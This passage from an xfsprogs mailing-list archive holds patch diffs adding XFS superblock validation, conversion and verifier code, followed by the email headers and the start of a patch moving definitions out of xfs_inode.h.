offsetof(xfs_sb_t, sb_versionnum), 0 }, + { offsetof(xfs_sb_t, sb_sectsize), 0 }, + { offsetof(xfs_sb_t, sb_inodesize), 0 }, + { offsetof(xfs_sb_t, sb_inopblock), 0 }, + { offsetof(xfs_sb_t, sb_fname[0]), 1 }, + { offsetof(xfs_sb_t, sb_blocklog), 0 }, + { offsetof(xfs_sb_t, sb_sectlog), 0 }, + { offsetof(xfs_sb_t, sb_inodelog), 0 }, + { offsetof(xfs_sb_t, sb_inopblog), 0 }, + { offsetof(xfs_sb_t, sb_agblklog), 0 }, + { offsetof(xfs_sb_t, sb_rextslog), 0 }, + { offsetof(xfs_sb_t, sb_inprogress), 0 }, + { offsetof(xfs_sb_t, sb_imax_pct), 0 }, + { offsetof(xfs_sb_t, sb_icount), 0 }, + { offsetof(xfs_sb_t, sb_ifree), 0 }, + { offsetof(xfs_sb_t, sb_fdblocks), 0 }, + { offsetof(xfs_sb_t, sb_frextents), 0 }, + { offsetof(xfs_sb_t, sb_uquotino), 0 }, + { offsetof(xfs_sb_t, sb_gquotino), 0 }, + { offsetof(xfs_sb_t, sb_qflags), 0 }, + { offsetof(xfs_sb_t, sb_flags), 0 }, + { offsetof(xfs_sb_t, sb_shared_vn), 0 }, + { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, + { offsetof(xfs_sb_t, sb_unit), 0 }, + { offsetof(xfs_sb_t, sb_width), 0 }, + { offsetof(xfs_sb_t, sb_dirblklog), 0 }, + { offsetof(xfs_sb_t, sb_logsectlog), 0 }, + { offsetof(xfs_sb_t, sb_logsectsize),0 }, + { offsetof(xfs_sb_t, sb_logsunit), 0 }, + { offsetof(xfs_sb_t, sb_features2), 0 }, + { offsetof(xfs_sb_t, sb_bad_features2), 0 }, + { offsetof(xfs_sb_t, sb_features_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_incompat), 0 }, + { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, + { offsetof(xfs_sb_t, sb_crc), 0 }, + { offsetof(xfs_sb_t, sb_pad), 0 }, + { offsetof(xfs_sb_t, sb_pquotino), 0 }, + { offsetof(xfs_sb_t, sb_lsn), 0 }, + { sizeof(xfs_sb_t), 0 } +}; + +/* + * Reference counting access wrappers to the perag structures. + * Because we never free per-ag structures, the only thing we + * have to protect against changes is the tree structure itself. + */ +struct xfs_perag * +xfs_perag_get( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_perag *pag; + int ref = 0; + + rcu_read_lock(); + pag = radix_tree_lookup(&mp->m_perag_tree, agno); + if (pag) { + ASSERT(atomic_read(&pag->pag_ref) >= 0); + ref = atomic_inc_return(&pag->pag_ref); + } + rcu_read_unlock(); + trace_xfs_perag_get(mp, agno, ref, _RET_IP_); + return pag; +} + +/* + * search from @first to find the next perag with the given tag set. + */ +struct xfs_perag * +xfs_perag_get_tag( + struct xfs_mount *mp, + xfs_agnumber_t first, + int tag) +{ + struct xfs_perag *pag; + int found; + int ref; + + rcu_read_lock(); + found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, + (void **)&pag, first, 1, tag); + if (found <= 0) { + rcu_read_unlock(); + return NULL; + } + ref = atomic_inc_return(&pag->pag_ref); + rcu_read_unlock(); + trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); + return pag; +} + +void +xfs_perag_put( + struct xfs_perag *pag) +{ + int ref; + + ASSERT(atomic_read(&pag->pag_ref) > 0); + ref = atomic_dec_return(&pag->pag_ref); + trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); +} + +/* + * Check the validity of the SB found. + */ +STATIC int +xfs_mount_validate_sb( + xfs_mount_t *mp, + xfs_sb_t *sbp, + bool check_inprogress, + bool check_version) +{ + + /* + * If the log device and data device have the + * same device number, the log is internal. + * Consequently, the sb_logstart should be non-zero. If + * we have a zero sb_logstart in this case, we may be trying to mount + * a volume filesystem in a non-volume manner. + */ + if (sbp->sb_magicnum != XFS_SB_MAGIC) { + xfs_warn(mp, "bad magic number"); + return XFS_ERROR(EWRONGFS); + } + + + if (!xfs_sb_good_version(sbp)) { + xfs_warn(mp, "bad version"); + return XFS_ERROR(EWRONGFS); + } + + if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && + (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { + xfs_notice(mp, +"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Version 5 superblock feature mask validation. Reject combinations the + * kernel cannot support up front before checking anything else. For + * write validation, we don't need to check feature masks. + */ + if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { + xfs_alert(mp, +"Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled!\n" +"Use of these features is at your own risk!"); + + if (xfs_sb_has_compat_feature(sbp, + XFS_SB_FEAT_COMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown compatible features (0x%x) enabled.\n" +"Using a more recent xfsprogs is recommended.", + (sbp->sb_features_compat & + XFS_SB_FEAT_COMPAT_UNKNOWN)); + } + + if (xfs_sb_has_ro_compat_feature(sbp, + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown read-only compatible features (0x%x) enabled.\n" +"Using a more recent xfsprogs is recommended.", + (sbp->sb_features_ro_compat & + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); + } + if (xfs_sb_has_incompat_feature(sbp, + XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown incompatible features (0x%x) enabled.\n" +"Filesystem can not be safely operated on by this xfsprogs installation", + (sbp->sb_features_incompat & + XFS_SB_FEAT_INCOMPAT_UNKNOWN)); + return XFS_ERROR(EINVAL); + } + } + + if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && + (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { + xfs_warn(mp, +"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely( + sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an external log; " + "specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + if (unlikely( + sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an internal log; " + "do not specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + /* + * More sanity checking. Most of these were stolen directly from + * xfs_repair. + */ + if (unlikely( + sbp->sb_agcount <= 0 || + sbp->sb_sectsize < XFS_MIN_SECTORSIZE || + sbp->sb_sectsize > XFS_MAX_SECTORSIZE || + sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || + sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || + sbp->sb_sectsize != (1 << sbp->sb_sectlog) || + sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || + sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || + sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || + sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || + sbp->sb_blocksize != (1 << sbp->sb_blocklog) || + sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || + sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || + sbp->sb_inodelog < XFS_DINODE_MIN_LOG || + sbp->sb_inodelog > XFS_DINODE_MAX_LOG || + sbp->sb_inodesize != (1 << sbp->sb_inodelog) || + (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || + (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || + (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || + (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || + sbp->sb_dblocks == 0 || + sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || + sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { + XFS_CORRUPTION_ERROR("SB sanity check failed", + XFS_ERRLEVEL_LOW, mp, sbp); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Currently only very few inode sizes are supported. + */ + switch (sbp->sb_inodesize) { + case 256: + case 512: + case 1024: + case 2048: + break; + default: + xfs_warn(mp, "inode size of %d bytes not supported", + sbp->sb_inodesize); + return XFS_ERROR(ENOSYS); + } + + if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || + xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { + xfs_warn(mp, + "file system too large to be mounted on this system."); + return XFS_ERROR(EFBIG); + } + + /* + * Version 1 directory format has never worked on Linux. + */ + if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { + xfs_warn(mp, "file system using version 1 directory format"); + return XFS_ERROR(ENOSYS); + } + + return 0; +} + +void +xfs_sb_from_disk( + struct xfs_sb *to, + xfs_dsb_t *from) +{ + to->sb_magicnum = be32_to_cpu(from->sb_magicnum); + to->sb_blocksize = be32_to_cpu(from->sb_blocksize); + to->sb_dblocks = be64_to_cpu(from->sb_dblocks); + to->sb_rblocks = be64_to_cpu(from->sb_rblocks); + to->sb_rextents = be64_to_cpu(from->sb_rextents); + memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); + to->sb_logstart = be64_to_cpu(from->sb_logstart); + to->sb_rootino = be64_to_cpu(from->sb_rootino); + to->sb_rbmino = be64_to_cpu(from->sb_rbmino); + to->sb_rsumino = be64_to_cpu(from->sb_rsumino); + to->sb_rextsize = be32_to_cpu(from->sb_rextsize); + to->sb_agblocks = be32_to_cpu(from->sb_agblocks); + to->sb_agcount = be32_to_cpu(from->sb_agcount); + to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); + to->sb_logblocks = be32_to_cpu(from->sb_logblocks); + to->sb_versionnum = be16_to_cpu(from->sb_versionnum); + to->sb_sectsize = be16_to_cpu(from->sb_sectsize); + to->sb_inodesize = be16_to_cpu(from->sb_inodesize); + to->sb_inopblock = be16_to_cpu(from->sb_inopblock); + memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); + to->sb_blocklog = from->sb_blocklog; + to->sb_sectlog = from->sb_sectlog; + to->sb_inodelog = from->sb_inodelog; + to->sb_inopblog = from->sb_inopblog; + to->sb_agblklog = from->sb_agblklog; + to->sb_rextslog = from->sb_rextslog; + to->sb_inprogress = from->sb_inprogress; + to->sb_imax_pct = from->sb_imax_pct; + to->sb_icount = be64_to_cpu(from->sb_icount); + to->sb_ifree = be64_to_cpu(from->sb_ifree); + to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); + to->sb_frextents = be64_to_cpu(from->sb_frextents); + to->sb_uquotino = be64_to_cpu(from->sb_uquotino); + to->sb_gquotino = be64_to_cpu(from->sb_gquotino); + to->sb_qflags = be16_to_cpu(from->sb_qflags); + to->sb_flags = from->sb_flags; + to->sb_shared_vn = from->sb_shared_vn; + to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); + to->sb_unit = be32_to_cpu(from->sb_unit); + to->sb_width = be32_to_cpu(from->sb_width); + to->sb_dirblklog = from->sb_dirblklog; + to->sb_logsectlog = from->sb_logsectlog; + to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); + to->sb_logsunit = be32_to_cpu(from->sb_logsunit); + to->sb_features2 = be32_to_cpu(from->sb_features2); + to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); + to->sb_features_compat = be32_to_cpu(from->sb_features_compat); + to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); + to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); + to->sb_features_log_incompat = + be32_to_cpu(from->sb_features_log_incompat); + to->sb_pad = 0; + to->sb_pquotino = be64_to_cpu(from->sb_pquotino); + to->sb_lsn = be64_to_cpu(from->sb_lsn); +} + +void +xfs_sb_quota_from_disk(struct xfs_sb *sbp) +{ + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(sbp)) + return; + + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; + if (sbp->sb_qflags & XFS_OQUOTA_CHKD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; + sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { + /* + * In older version of superblock, on-disk superblock only + * has sb_gquotino, and in-core superblock has both sb_gquotino + * and sb_pquotino. But, only one of them is supported at any + * point of time. So, if PQUOTA is set in disk superblock, + * copy over sb_gquotino to sb_pquotino. + */ + sbp->sb_pquotino = sbp->sb_gquotino; + sbp->sb_gquotino = NULLFSINO; + } +} + +static inline void +xfs_sb_quota_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t *fields) +{ + __uint16_t qflags = from->sb_qflags; + + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(from)) + return; + + if (*fields & XFS_SB_QFLAGS) { + /* + * The in-core version of sb_qflags do not have + * XFS_OQUOTA_* flags, whereas the on-disk version + * does. So, convert incore XFS_{PG}QUOTA_* flags + * to on-disk XFS_OQUOTA_* flags. + */ + qflags &= ~(XFS_PQUOTA_ENFD | XFS_PQUOTA_CHKD | + XFS_GQUOTA_ENFD | XFS_GQUOTA_CHKD); + + if (from->sb_qflags & + (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD)) + qflags |= XFS_OQUOTA_ENFD; + if (from->sb_qflags & + (XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) + qflags |= XFS_OQUOTA_CHKD; + to->sb_qflags = cpu_to_be16(qflags); + *fields &= ~XFS_SB_QFLAGS; + } + + /* + * GQUOTINO and PQUOTINO cannot be used together in versions + * of superblock that do not have pquotino. from->sb_flags + * tells us which quota is active and should be copied to + * disk. + */ + if ((*fields & XFS_SB_GQUOTINO) && + (from->sb_qflags & XFS_GQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_gquotino); + else if ((*fields & XFS_SB_PQUOTINO) && + (from->sb_qflags & XFS_PQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); + + *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); +} + +/* + * Copy in core superblock to ondisk one. + * + * The fields argument is mask of superblock fields to copy. + */ +void +xfs_sb_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t fields) +{ + xfs_caddr_t to_ptr = (xfs_caddr_t)to; + xfs_caddr_t from_ptr = (xfs_caddr_t)from; + xfs_sb_field_t f; + int first; + int size; + + ASSERT(fields); + if (!fields) + return; + + xfs_sb_quota_to_disk(to, from, &fields); + + xfs_sb_quota_to_disk(to, from, &fields); + while (fields) { + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + first = xfs_sb_info[f].offset; + size = xfs_sb_info[f + 1].offset - first; + + ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); + + if (size == 1 || xfs_sb_info[f].type == 1) { + memcpy(to_ptr + first, from_ptr + first, size); + } else { + switch (size) { + case 2: + *(__be16 *)(to_ptr + first) = + cpu_to_be16(*(__u16 *)(from_ptr + first)); + break; + case 4: + *(__be32 *)(to_ptr + first) = + cpu_to_be32(*(__u32 *)(from_ptr + first)); + break; + case 8: + *(__be64 *)(to_ptr + first) = + cpu_to_be64(*(__u64 *)(from_ptr + first)); + break; + default: + ASSERT(0); + } + } + + fields &= ~(1LL << f); + } +} + +static int +xfs_sb_verify( + struct xfs_buf *bp, + bool check_version) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_sb sb; + + xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); + + xfs_sb_quota_from_disk(&sb); + + /* + * Only check the in progress field for the primary superblock as + * mkfs.xfs doesn't clear it from secondary superblocks. + */ + return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, + check_version); +} + +/* + * If the superblock has the CRC feature bit set or the CRC field is non-null, + * check that the CRC is valid. We check the CRC field is non-null because a + * single bit error could clear the feature bit and unused parts of the + * superblock are supposed to be zero. Hence a non-null crc field indicates that + * we've potentially lost a feature bit and we should check it anyway. + */ +static void +xfs_sb_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + int error; + + /* + * open code the version check to avoid needing to convert the entire + * superblock from disk order just to check the version number + */ + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && + (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == + XFS_SB_VERSION_5) || + dsb->sb_crc != 0)) { + + if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), + offsetof(struct xfs_sb, sb_crc))) { + error = EFSCORRUPTED; + goto out_error; + } + } + error = xfs_sb_verify(bp, true); + +out_error: + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + } +} + +/* + * We may be probed for a filesystem match, so we may not want to emit + * messages when the superblock buffer is not actually an XFS superblock. + * If we find an XFS superblock, the run a normal, noisy mount because we are + * really going to mount it and want to know about errors. + */ +static void +xfs_sb_quiet_read_verify( + struct xfs_buf *bp) +{ + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + + + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { + /* XFS filesystem, verify noisily! */ + xfs_sb_read_verify(bp); + return; + } + /* quietly fail */ + xfs_buf_ioerror(bp, EWRONGFS); +} + +static void +xfs_sb_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + int error; + + error = xfs_sb_verify(bp, false); + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + return; + } + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (bip) + XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); + + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_sb, sb_crc)); +} + +const struct xfs_buf_ops xfs_sb_buf_ops = { + .verify_read = xfs_sb_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { + .verify_read = xfs_sb_quiet_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +/* + * xfs_mount_common + * + * Mount initialization code establishing various mount + * fields from the superblock associated with the given + * mount structure + */ +void +xfs_sb_mount_common( + struct xfs_mount *mp, + struct xfs_sb *sbp) +{ + mp->m_agfrotor = mp->m_agirotor = 0; + spin_lock_init(&mp->m_agirotor_lock); + mp->m_maxagi = mp->m_sb.sb_agcount; + mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; + mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; + mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; + mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; + mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; + mp->m_blockmask = sbp->sb_blocksize - 1; + mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; + mp->m_blockwmask = mp->m_blockwsize - 1; + + mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; + mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; + + mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; + mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; + + mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; + mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; + + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); + mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, + sbp->sb_inopblock); + mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; +} + +/* + * xfs_initialize_perag_data + * + * Read in each per-ag structure so we can count up the number of + * allocated inodes, free inodes and used filesystem blocks as this + * information is no longer persistent in the superblock. Once we have + * this information, write it into the in-core superblock structure. + */ +int +xfs_initialize_perag_data( + struct xfs_mount *mp, + xfs_agnumber_t agcount) +{ + xfs_agnumber_t index; + xfs_perag_t *pag; + xfs_sb_t *sbp = &mp->m_sb; + uint64_t ifree = 0; + uint64_t ialloc = 0; + uint64_t bfree = 0; + uint64_t bfreelst = 0; + uint64_t btree = 0; + int error; + + for (index = 0; index < agcount; index++) { + /* + * read the agf, then the agi. This gets us + * all the information we need and populates the + * per-ag structures for us. + */ + error = xfs_alloc_pagf_init(mp, NULL, index, 0); + if (error) + return error; + + error = xfs_ialloc_pagi_init(mp, NULL, index); + if (error) + return error; + pag = xfs_perag_get(mp, index); + ifree += pag->pagi_freecount; + ialloc += pag->pagi_count; + bfree += pag->pagf_freeblks; + bfreelst += pag->pagf_flcount; + btree += pag->pagf_btreeblks; + xfs_perag_put(pag); + } + /* + * Overwrite incore superblock counters with just-read data + */ + spin_lock(&mp->m_sb_lock); + sbp->sb_ifree = ifree; + sbp->sb_icount = ialloc; + sbp->sb_fdblocks = bfree + bfreelst + btree; + spin_unlock(&mp->m_sb_lock); + + /* Fixup the per-cpu counters as well. */ + xfs_icsb_reinit_counters(mp); + + return 0; +} + +/* + * xfs_mod_sb() can be used to copy arbitrary changes to the + * in-core superblock into the superblock buffer to be logged. + * It does not provide the higher level of locking that is + * needed to protect the in-core superblock from concurrent + * access. + */ +void +xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) +{ + xfs_buf_t *bp; + int first; + int last; + xfs_mount_t *mp; + xfs_sb_field_t f; + + ASSERT(fields); + if (!fields) + return; + mp = tp->t_mountp; + bp = xfs_trans_getsb(tp, mp, 0); + first = sizeof(xfs_sb_t); + last = 0; + + /* translate/copy */ + + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); + + /* find modified range */ + f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + last = xfs_sb_info[f + 1].offset - 1; + + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + first = xfs_sb_info[f].offset; + + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); + xfs_trans_log_buf(tp, bp, first, last); +} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 696C829E4D for ; Wed, 4 Sep 2013 17:21:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4BC86304039 for ; Wed, 4 Sep 2013 15:21:46 -0700 (PDT) X-ASG-Debug-ID: 1378333302-04cb6c153dd53a00002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7kVw9skQbMHsg7pF for ; Wed, 04 Sep 2013 15:21:44 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaUBAOiJIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dm-1u for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tN-1Z for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 28/55] xfs: move unrealted definitions out of xfs_inode.h Date: Thu, 5 Sep 2013 08:05:32 +1000 X-ASG-Orig-Subj: [PATCH 28/55] xfs: move unrealted definitions out of xfs_inode.h Message-Id: <1378332359-14737-29-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333304 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/Makefile | 1 + include/libxfs.h | 1 + include/xfs_inode.h | 36 ------------------------------------ include/xfs_log_format.h | 7 +++++++ libxfs/xfs.h | 3 +++ 5 files changed, 12 insertions(+), 36 deletions(-) diff --git a/include/Makefile b/include/Makefile index 94cb8e0..a8a4311 100644 --- a/include/Makefile +++ b/include/Makefile @@ -31,6 +31,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ xfs_inode.h \ + xfs_inode_fork.h \ xfs_inum.h \ xfs_log_format.h \ xfs_log_recover.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 6d96c41..05aac34 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -54,6 +54,7 @@ #include #include #include +#include #include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h index 6ee8bb7..99c034e 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -34,35 +34,6 @@ struct xfs_imap { ushort im_boffset; /* inode offset in block in bytes */ }; -/* - * This is the xfs in-core inode structure. - * Most of the on-disk inode is embedded in the i_d field. - * - * The extent pointers/inline file space, however, are managed - * separately. The memory for this information is pointed to by - * the if_u1 unions depending on the type of the data. - * This is used to linearize the array of extents for fast in-core - * access. This is used until the file's number of extents - * surpasses XFS_MAX_INCORE_EXTENTS, at which point all extent pointers - * are accessed through the buffer cache. - * - * Other state kept in the in-core inode is used for identification, - * locking, transactional updating, etc of the inode. - * - * Generally, we do not want to hold the i_rlock while holding the - * i_ilock. Hierarchy is i_iolock followed by i_rlock. - * - * xfs_iptr_t contains all the inode fields up to and including the - * i_mnext and i_mprev fields, it is used as a marker in the inode - * chain off the mount structure by xfs_sync calls. - */ -/* - * Flags for xfs_ichgtime(). - */ -#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ -#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ -#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ - #ifdef __KERNEL__ @@ -398,13 +369,6 @@ do { \ #endif /* __KERNEL__ */ -/* - * Flags for xfs_iget() - */ -#define XFS_IGET_CREATE 0x1 -#define XFS_IGET_UNTRUSTED 0x2 -#define XFS_IGET_DONTCACHE 0x4 - int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, struct xfs_imap *, struct xfs_dinode **, struct xfs_buf **, uint, uint); diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 13a0734..f57975d 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -392,6 